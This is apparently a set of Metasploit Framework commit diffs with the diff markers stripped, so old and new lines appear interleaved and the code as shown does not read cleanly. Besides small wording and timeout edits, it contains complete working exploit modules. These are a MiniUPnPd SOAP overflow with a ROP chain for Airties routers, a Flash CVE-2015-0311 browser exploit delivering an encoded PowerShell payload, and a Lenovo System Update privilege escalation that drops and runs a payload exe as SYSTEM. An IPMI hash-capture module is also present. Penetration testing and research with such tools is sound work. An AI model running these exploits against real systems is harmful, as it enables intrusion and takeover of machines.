OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', '']),
OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']),
OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']),
OptBool.new('DigestAuthIIS', [false, 'Conform to IIS, should work for most servers. Only set to false for non-IIS servers', true]),
OptBool.new('SSL', [ false, 'Negotiate SSL for outgoing connections', false]),
OptEnum.new('SSLVersion', [ false, 'Specify the version of SSL that should be used', 'Auto', ['Auto', 'SSL2', 'SSL3', 'TLS1']]),
OptBool.new('FingerprintCheck', [ false, 'Conduct a pre-exploit fingerprint verification', true]),
OptString.new('DOMAIN', [ true, 'The domain to use for windows authentification', 'WORKSTATION'])
OptString.new('DOMAIN', [ true, 'The domain to use for windows authentification', 'WORKSTATION']),
OptInt.new('HttpClientTimeout', [false, 'HTTP connection and receive timeout', 20])
], self.class
)
@ -307,10 +308,11 @@ module Exploit::Remote::HttpClient
# Passes +opts+ through directly to Rex::Proto::Http::Client#request_raw.
#
def send_request_raw(opts={}, timeout = 20)
actual_timeout = datastore['HttpClientTimeout'] || opts[:timeout] || timeout
begin
c = connect(opts)
r = c.request_raw(opts)
c.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout)
c.send_recv(r, actual_timeout)
rescue ::Errno::EPIPE, ::Timeout::Error
nil
end
@ -323,10 +325,11 @@ module Exploit::Remote::HttpClient
# Passes +opts+ through directly to Rex::Proto::Http::Client#request_cgi.
#
def send_request_cgi(opts={}, timeout = 20)
actual_timeout = datastore['HttpClientTimeout'] || opts[:timeout] || timeout
begin
c = connect(opts)
r = c.request_cgi(opts)
c.send_recv(r, opts[:timeout] ? opts[:timeout] : timeout)
c.send_recv(r, actual_timeout)
rescue ::Errno::EPIPE, ::Timeout::Error
nil
end
@ -341,7 +344,8 @@ module Exploit::Remote::HttpClient
# will contain the full URI.
#
def send_request_cgi!(opts={}, timeout = 20, redirect_depth = 1)
res = send_request_cgi(opts, timeout)
actual_timeout = datastore['HttpClientTimeout'] || opts[:timeout] || timeout
res = send_request_cgi(opts, actual_timeout)
return res unless res && res.redirect? && redirect_depth > 0
redirect_depth -= 1
@ -360,7 +364,7 @@ module Exploit::Remote::HttpClient
opts['ssl'] = false
end
send_request_cgi!(opts, timeout, redirect_depth)
send_request_cgi!(opts, actual_timeout, redirect_depth)
end
#

View File

@ -52,18 +52,30 @@ module Exploit::ORACLE
end
def connect
handle = nil
if(not @oci8_loaded)
raise RuntimeError, "Could not load the Oracle driver (oci8): #{@oci8_error}"
end
# Create a Connection to the Database
if datastore['DBUSER'] == 'SYS' || datastore['DBUSER'] == 'SYSTEM'
handle = OCI8.new(
datastore['DBUSER'],
datastore['DBPASS'],
"//#{datastore['RHOST']}:#{datastore['RPORT']}/#{datastore['SID']}",
:SYSDBA
)
begin
handle = OCI8.new(
datastore['DBUSER'],
datastore['DBPASS'],
"//#{datastore['RHOST']}:#{datastore['RPORT']}/#{datastore['SID']}",
:SYSDBA
)
rescue ::OCIError
# Try again without a request for SYSDBA
vprint_status('Insufficient privileges, trying without SYSDBA')
handle = OCI8.new(
datastore['DBUSER'],
datastore['DBPASS'],
"//#{datastore['RHOST']}:#{datastore['RPORT']}/#{datastore['SID']}"
)
end
else
handle = OCI8.new(
datastore['DBUSER'],
@ -71,7 +83,7 @@ module Exploit::ORACLE
"//#{datastore['RHOST']}:#{datastore['RPORT']}/#{datastore['SID']}"
)
end
handle
end
def disconnect

View File

@ -16,7 +16,7 @@ class Metasploit3 < Msf::Auxiliary
'Description' => %q{
This module exploits an authentication bypass vulnerability in different Netgear devices.
It allows to extract the password for the remote management interface. This module has been
tested on a Netgear WNDR3700v4 - V1.0.1.42, but others devices are reported as vulnerable:
tested on a Netgear WNDR3700v4 - V1.0.1.42, but other devices are reported as vulnerable:
NetGear WNDR3700v4 - V1.0.0.4SH, NetGear WNDR3700v4 - V1.0.1.52, NetGear WNR2200 - V1.0.1.88,
NetGear WNR2500 - V1.0.0.24, NetGear WNDR3700v2 - V1.0.1.14 (Tested by Paula Thomas),
NetGear WNDR3700v1 - V1.0.16.98 (Tested by Michal Bartoszkiewicz),

View File

@ -14,8 +14,8 @@ class Metasploit3 < Msf::Auxiliary
super(update_info(info,
'Name' => 'InfluxDB Enum Utility',
'Description' => %q{
This module enumerates databases on InfluxDB using the REST API
(using default authentication - root:root).
This module enumerates databases on InfluxDB using the REST API using the
default authentication of root:root.
},
'References' =>
[

View File

@ -15,8 +15,8 @@ class Metasploit3 < Msf::Auxiliary
super(
'Name' => 'HTTP HTML Title Tag Content Grabber',
'Description' => %q{
Generates a GET request to the webservers provided and returns the server header,
HTML title attribute and location header (if set). Useful for rapidly identifying
Generates a GET request to the provided webservers and returns the server header,
HTML title attribute and location header (if set). This is useful for rapidly identifying
interesting web applications en mass.
},
'Author' => 'Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>',

View File

@ -71,7 +71,6 @@ class Metasploit3 < Msf::Auxiliary
passwords << ""
passwords = passwords.uniq
self.udp_sock = Rex::Socket::Udp.create({'Context' => {'Msf' => framework, 'MsfExploit' => self}})
add_socket(self.udp_sock)
@ -180,18 +179,8 @@ class Metasploit3 < Msf::Auxiliary
write_output_files(rhost, username, sha1_salt, sha1_hash)
# Write the rakp hash to the database
report_auth_info(
:host => rhost,
:port => rport,
:proto => 'udp',
:sname => 'ipmi',
:user => username,
:pass => "#{sha1_salt}:#{sha1_hash}",
:source_type => "captured",
:active => true,
:type => 'rakp_hmac_sha1_hash'
)
hash = "#{rhost} #{username}:$rakp$#{sha1_salt}$#{sha1_hash}"
core_id = report_hash(username, hash)
# Write the vulnerability to the database
unless reported_vuln
report_vuln(
@ -216,17 +205,7 @@ class Metasploit3 < Msf::Auxiliary
print_good("#{rhost}:#{rport} - IPMI - Hash for user '#{username}' matches password '#{pass}'")
# Report the clear-text credential to the database
report_auth_info(
:host => rhost,
:port => rport,
:proto => 'udp',
:sname => 'ipmi',
:user => username,
:pass => pass,
:source_type => "cracked",
:active => true,
:type => 'password'
)
report_cracked_cred(username, pass, core_id)
break
end
end
@ -265,6 +244,45 @@ class Metasploit3 < Msf::Auxiliary
end
end
def service_data
{
address: rhost,
port: rport,
service_name: 'ipmi',
protocol: 'udp',
workspace_id: myworkspace_id
}
end
def report_hash(user, hash)
credential_data = {
module_fullname: self.fullname,
origin_type: :service,
private_data: hash,
private_type: :nonreplayable_hash,
jtr_format: 'rakp',
username: user,
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_data)
cl = create_credential_login(login_data)
cl.core_id
end
def report_cracked_cred(user, password, core_id)
cred_data = {
core_id: core_id,
username: user,
password: password
}
create_cracked_credential(cred_data)
end
#
# Helper methods (these didn't quite fit with existing mixins)
#
@ -292,5 +310,4 @@ class Metasploit3 < Msf::Auxiliary
def rport
datastore['RPORT']
end
end

View File

@ -7,6 +7,8 @@ require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
Rank = NormalRanking
def initialize(info = {})
@ -19,20 +21,14 @@ class Metasploit3 < Msf::Exploit::Remote
'Author' =>
[
'hdm', # Vulnerability discovery
'Dejan Lukan' # Metasploit module
'Dejan Lukan', # Metasploit module, debian target
'Onur ALANBEL', # Expliot for Airties target
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module, Airties target
],
'License' => MSF_LICENSE,
'DefaultOptions' => { 'EXITFUNC' => 'process', },
# the byte '\x22' is the '"' character and the miniupnpd scans for that character in the
# input, which is why it can't be part of the shellcode (otherwise the vulnerable part
# of the program is never reached)
'Payload' =>
{
'Space' => 2060,
'BadChars' => "\x00\x22",
'DisableNops' => true
},
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_MIPSBE],
'References' =>
[
[ 'CVE', '2013-0230' ],
@ -40,14 +36,39 @@ class Metasploit3 < Msf::Exploit::Remote
[ 'BID', '57608' ],
[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play']
],
'Targets' =>
'Payload' =>
{
'DisableNops' => true
},
'Targets' =>
[
[ 'Debian GNU/Linux 6.0 / MiniUPnPd 1.0',
{
'Ret' => 0x0804ee43, # pop ebp # ret # from miniupnpd
'Offset' => 2123
'Ret' => 0x0804ee43, # pop ebp # ret # from miniupnpd
'Offset' => 2123,
'Arch' => ARCH_X86,
# the byte '\x22' is the '"' character and the miniupnpd scans for that character in the
# input, which is why it can't be part of the shellcode (otherwise the vulnerable part
# of the program is never reached)
'Payload' =>
{
'Space' => 2060,
'BadChars' => "\x00\x22"
},
:callback => :target_debian
}
],
[ 'Airties RT-212 v1.2.0.23 / MiniUPnPd 1.0',
{
'Offset' => 2048,
'LibcBase' => 0x2aabd000,
'System' => 0x00031AC0,
'CallSystem' => 0x0001CC94, # prepare $a0 and jump to $s0
'Fingerprint' => 'AirTies/ASP 1.0 UPnP/1.0 miniupnpd/1.0',
'Arch' => ARCH_MIPSBE,
:callback => :target_airties
}
]
],
'DefaultTarget' => 0,
'Privileged' => false,
@ -57,9 +78,40 @@ class Metasploit3 < Msf::Exploit::Remote
register_options([
Opt::RPORT(5555),
], self.class)
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
end
def check
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => '/'
})
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Safe
end
fingerprints = targets.collect { |t| t['Fingerprint'] }
fingerprints.delete(nil)
if res && fingerprints.include?(res.headers['Server'])
vprint_status("Fingerprint: #{res.headers['Server']}")
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Unknown
end
def exploit
unless self.respond_to?(target[:callback])
fail_with(Failure::BadConfig, 'Invalid target specified: no callback function defined')
end
self.send(target[:callback])
end
def target_debian
#
# Build the SOAP Exploit
#
@ -108,7 +160,7 @@ class Metasploit3 < Msf::Exploit::Remote
#
# Build and send the HTTP request
#
print_status("Sending exploit to victim #{target.name} at ...")
print_status("Sending exploit to victim #{target.name}...")
send_request_cgi({
'method' => 'POST',
'uri' => "/",
@ -121,4 +173,53 @@ class Metasploit3 < Msf::Exploit::Remote
# disconnect from the server
disconnect
end
def target_airties
print_status("Sending exploit to victim #{target.name}...")
execute_cmdstager(
:flavor => :echo
)
end
def execute_command(cmd, opts)
# Build the SOAP Exploit
# a valid action
sploit = "n:schemas-upnp-org:service:WANIPConnection:1#"
sploit << rand_text_alpha_upper(target['Offset'])
sploit << [target['LibcBase'] + target['System']].pack("N") # s0 - address of system
sploit << rand_text_alpha_upper(24) # $s1 - $s6
sploit << [target['LibcBase'] + target['CallSystem']].pack("N")
# 0001CC94 addiu $a0, $sp, 0x18
# 0001CC98 move $t9, $s0
# 0001CC9C jalr $t9
# 0001CCA0 li $a1, 1
sploit << rand_text_alpha_upper(24) #filler
sploit << cmd
# data sent in the POST body
data =
"<?xml version='1.0' encoding=\"UTF-8\"?>\r\n" +
"<SOAP-ENV:Envelope\r\n" +
" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
" xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
" xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"\r\n" +
">\r\n" +
"<SOAP-ENV:Body>\r\n" +
"<ns1:action xmlns:ns1=\"urn:schemas-upnp-org:service:WANIPConnection:1\" SOAP-ENC:root=\"1\">\r\n" +
"</ns1:action>\r\n" +
"</SOAP-ENV:Body>\r\n" +
"</SOAP-ENV:Envelope>\r\n"
send_request_cgi({
'method' => 'POST',
'uri' => '/',
'headers' =>
{
'SOAPAction' => sploit,
},
'data' => data
})
end
end

View File

@ -0,0 +1,150 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => 'Adobe Flash Player ByteArray UncompressViaZlibVariant Use After Free',
'Description' => %q{
This module exploits a use after free vulnerability in Adobe Flash Player. The
vulnerability occurs in the ByteArray::UncompressViaZlibVariant method, when trying
to uncompress() a malformed byte stream. This module has been tested successfully
on:
* Windows 7 SP1 (32 bits), IE 8 to IE 11 and Flash 16.0.0.287, 16.0.0.257 and 16.0.0.235.
* Linux Mint "Rebecca" (32 bits) with Firefox 33.0 and Flash 11.2.202.404.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability discovery and exploit in the wild
'hdarwin', # Public exploit by @hdarwin89
'juan vazquez' # msf module
],
'References' =>
[
['CVE', '2015-0311'],
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsa15-01.html'],
['URL', 'http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/'],
['URL', 'http://blog.coresecurity.com/2015/03/04/exploiting-cve-2015-0311-a-use-after-free-in-adobe-flash-player/']
],
'Payload' =>
{
'DisableNops' => true
},
'Platform' => ['win', 'unix'],
'Arch' => [ARCH_X86, ARCH_CMD],
'BrowserRequirements' =>
{
:source => /script|headers/i,
:arch => ARCH_X86,
:os_name => lambda do |os|
os =~ OperatingSystems::Match::LINUX ||
os =~ OperatingSystems::Match::WINDOWS_7
end,
:ua_name => lambda do |ua|
case target.name
when 'Windows'
return true if ua == Msf::HttpClients::IE
when 'Linux'
return true if ua == Msf::HttpClients::FF
end
false
end,
:flash => lambda do |ver|
case target.name
when 'Windows'
return true if ver =~ /^16\./ && Gem::Version.new(ver) <= Gem::Version.new('16.0.0.287')
when 'Linux'
return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.438')
end
false
end
},
'Targets' =>
[
[ 'Windows',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
],
[ 'Linux',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Apr 28 2014',
'DefaultTarget' => 0))
end
def exploit
@swf = create_swf
super
end
def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")
if request.uri =~ /\.swf$/
print_status('Sending SWF...')
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
return
end
print_status('Sending HTML...')
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
if target.name =~ /Windows/
target_payload = get_payload(cli, target_info)
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
b64_payload = Rex::Text.encode_base64(psh_payload)
platform_id = 'win'
elsif target.name =~ /Linux/
target_payload = get_payload(cli, target_info.merge(arch: ARCH_CMD))
b64_payload = Rex::Text.encode_base64(target_payload)
platform_id = 'linux'
end
html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>" Play="true"/>
</object>
</body>
</html>
|
return html_template, binding()
end
def create_swf
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0311', 'msf.swf')
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
end

View File

@ -17,12 +17,11 @@ class Metasploit3 < Msf::Exploit::Remote
This module exploits an arbitrary command execution vulnerability in
Traq 2.0 to 2.3. It's in the admincp/common.php script.
This function is called in each script located into /admicp/ directory to
make sure the user has admin rights, but this is a broken authorization
schema due to the header() function doesn't stop the execution flow. This
can be exploited by malicious users to execute admin functionality resulting
for e.g. in execution of arbitrary PHP code leveraging of plugins.php
functionality.
This function is called in each script located in the /admicp/ directory to
make sure the user has admin rights. This is a broken authorization schema
because the header() function doesn't stop the execution flow.
This can be exploited by malicious users to execute admin functionality,
e.g. execution of arbitrary PHP code leveraging of plugins.php functionality.
},
'License' => MSF_LICENSE,
'Author' =>

View File

@ -16,9 +16,9 @@ class Metasploit3 < Msf::Exploit::Remote
super(update_info(info,
'Name' => 'WordPress RevSlider File Upload and Execute Vulnerability',
'Description' => %q{
This module exploits an arbitrary PHP code upload in the WordPress ThemePunch
Slider Revolution (RevSlider) plugin, versions 3.0.95 and prior. The
vulnerability allows for arbitrary file upload and remote code execution.
This module exploits an arbitrary PHP code upload vulnerability in the
WordPress ThemePunch Slider Revolution (RevSlider) plugin, versions 3.0.95
and prior. The vulnerability allows for arbitrary file upload and remote code execution.
},
'Author' =>
[

View File

@ -10,6 +10,9 @@ class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Powershell
include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Module::Deprecated
deprecated(Date.new(2015, 7, 21), 'exploit/multi/browser/adobe_flash_uncompress_zlib_uaf')
def initialize(info={})
super(update_info(info,

View File

@ -43,7 +43,13 @@ class Metasploit3 < Msf::Exploit::Remote
{
:source => /script|headers/i,
:os_name => OperatingSystems::Match::WINDOWS,
:ua_name => /MSIE|KXCLIE/i
:ua_name => /MSIE|KXCLIE/i,
:activex => [
{
clsid: '{1A90B808-6EEF-40FF-A94C-D7C43C847A9F}',
method: 'ProjectURL'
}
],
},
'Payload' =>
{

View File

@ -35,7 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote
OptString.new('PATH', [ true, "The path to attempt to upload", '/webdav/']),
OptString.new('FILENAME', [ false , "The filename to give the payload. (Leave Blank for Random)"]),
OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', 'wampp']),
OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', 'xampp'])
OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', 'xampp'])
], self.class)
end

View File

@ -43,7 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote
# The USERNAME and PASSWORD are registered again to make them more obvious they're
# configurable.
OptString.new('USERNAME', [false, 'The HTTP username to specify for authentication', '']),
OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']),
OptString.new('PASSWORD', [false, 'The HTTP password to specify for authentication', '']),
OptString.new('PATH', [ true, "The path to attempt to upload", '/metasploit%RAND%.asp'])
], self.class)
end

View File

@ -0,0 +1,193 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class Metasploit3 < Msf::Exploit::Local
include Msf::Exploit::EXE
include Msf::Post::File
include Msf::Exploit::FileDropper
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Services
Rank = ExcellentRanking
def initialize(info={})
super(update_info(info, {
'Name' => 'Lenovo System Update Privilege Escalation',
'Description' => %q{
The named pipe, \SUPipeServer, can be accessed by normal users to interact with the
System update service. The service provides the possibility to execute arbitrary
commands as SYSTEM if a valid security token is provided. This token can be generated
by calling the GetSystemInfoData function in the DLL tvsutil.dll. Please, note that the
System Update is stopped by default but can be started/stopped calling the Executable
ConfigService.exe.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Micahel Milvich', # vulnerability discovery, advisory
'Sofiane Talmat', # vulnerability discovery, advisory
'h0ng10' # Metasploit module
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'SessionTypes' => ['meterpreter'],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Targets' =>
[
[ 'Windows', { } ]
],
'Payload' =>
{
'Space' => 2048,
'DisableNops' => true
},
'References' =>
[
['OSVDB', '121522'],
['CVE', '2015-2219'],
['URL', 'http://www.ioactive.com/pdfs/Lenovo_System_Update_Multiple_Privilege_Escalations.pdf']
],
'DisclosureDate' => 'Apr 12 2015',
'DefaultTarget' => 0
}))
register_options([
OptString.new('WritableDir', [false, 'A directory where we can write files (%TEMP% by default)']),
OptInt.new('Sleep', [true, 'Time to sleep while service starts (seconds)', 4]),
], self.class)
end
def check
os = sysinfo['OS']
unless os =~ /windows/i
return Exploit::CheckCode::Safe
end
svc = service_info('SUService')
if svc && svc[:display] =~ /System Update/
vprint_good("Found service '#{svc[:display]}'")
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
def write_named_pipe(pipe, command)
invalid_handle_value = 0xFFFFFFFF
r = session.railgun.kernel32.CreateFileA(pipe, 'GENERIC_READ | GENERIC_WRITE', 0x3, nil, 'OPEN_EXISTING', 'FILE_FLAG_WRITE_THROUGH | FILE_ATTRIBUTE_NORMAL', 0)
handle = r['return']
if handle == invalid_handle_value
fail_with(Failure::NoTarget, "#{pipe} named pipe not found")
else
vprint_good("Opended #{pipe}! Proceeding...")
end
begin
# First, write the string length as Int32 value
w = client.railgun.kernel32.WriteFile(handle, [command.length].pack('l'), 4, 4, nil)
if w['return'] == false
print_error('The was an error writing to pipe, check permissions')
return false
end
# Then we send the real command
w = client.railgun.kernel32.WriteFile(handle, command, command.length, 4, nil)
if w['return'] == false
print_error('The was an error writing to pipe, check permissions')
return false
end
ensure
session.railgun.kernel32.CloseHandle(handle)
end
true
end
def get_security_token(lenovo_directory)
unless client.railgun.get_dll('tvsutil')
client.railgun.add_dll('tvsutil', "#{lenovo_directory}\\tvsutil.dll")
client.railgun.add_function('tvsutil', 'GetSystemInfoData', 'DWORD', [['PWCHAR', 'systeminfo', 'out']], windows_name = nil, calling_conv = 'cdecl')
end
dll_response = client.railgun.tvsutil.GetSystemInfoData(256)
dll_response['systeminfo'][0,40]
end
def config_service(lenovo_directory, option)
cmd_exec("#{lenovo_directory}\\ConfigService.exe #{option}")
end
def exploit
if is_system?
fail_with(Failure::NoTarget, 'Session is already elevated')
end
su_directory = service_info('SUService')[:path][1..-16]
print_status('Starting service via ConfigService.exe')
config_service(su_directory, 'start')
print_status('Giving the service some time to start...')
Rex.sleep(datastore['Sleep'])
print_status("Getting security token...")
token = get_security_token(su_directory)
vprint_good("Security token is: #{token}")
if datastore['WritableDir'].nil? || datastore['WritableDir'].empty?
temp_dir = get_env('TEMP')
else
temp_dir = datastore['WritableDir']
end
print_status("Using #{temp_dir} to drop the payload")
begin
cd(temp_dir)
rescue Rex::Post::Meterpreter::RequestError
fail_with(Failure::BadConfig, "Failed to use the #{temp_dir} directory")
end
print_status('Writing malicious exe to remote filesystem')
write_path = pwd
exe_name = "#{rand_text_alpha(10 + rand(10))}.exe"
begin
write_file(exe_name, generate_payload_exe)
register_file_for_cleanup("#{write_path}\\#{exe_name}")
rescue Rex::Post::Meterpreter::RequestError
fail_with(Failure::Unknown, "Failed to drop payload into #{temp_dir}")
end
print_status('Sending Execute command to update service')
begin
write_res = write_named_pipe("\\\\.\\pipe\\SUPipeServer", "/execute #{exe_name} /arguments /directory #{write_path} /type COMMAND /securitycode #{token}")
rescue Rex::Post::Meterpreter::RequestError
fail_with(Failure::Unknown, 'Failed to write to pipe')
end
unless write_res
fail_with(Failure::Unknown, 'Failed to write to pipe')
end
print_status('Stopping service via ConfigService.exe')
config_service(su_directory, 'stop')
end
end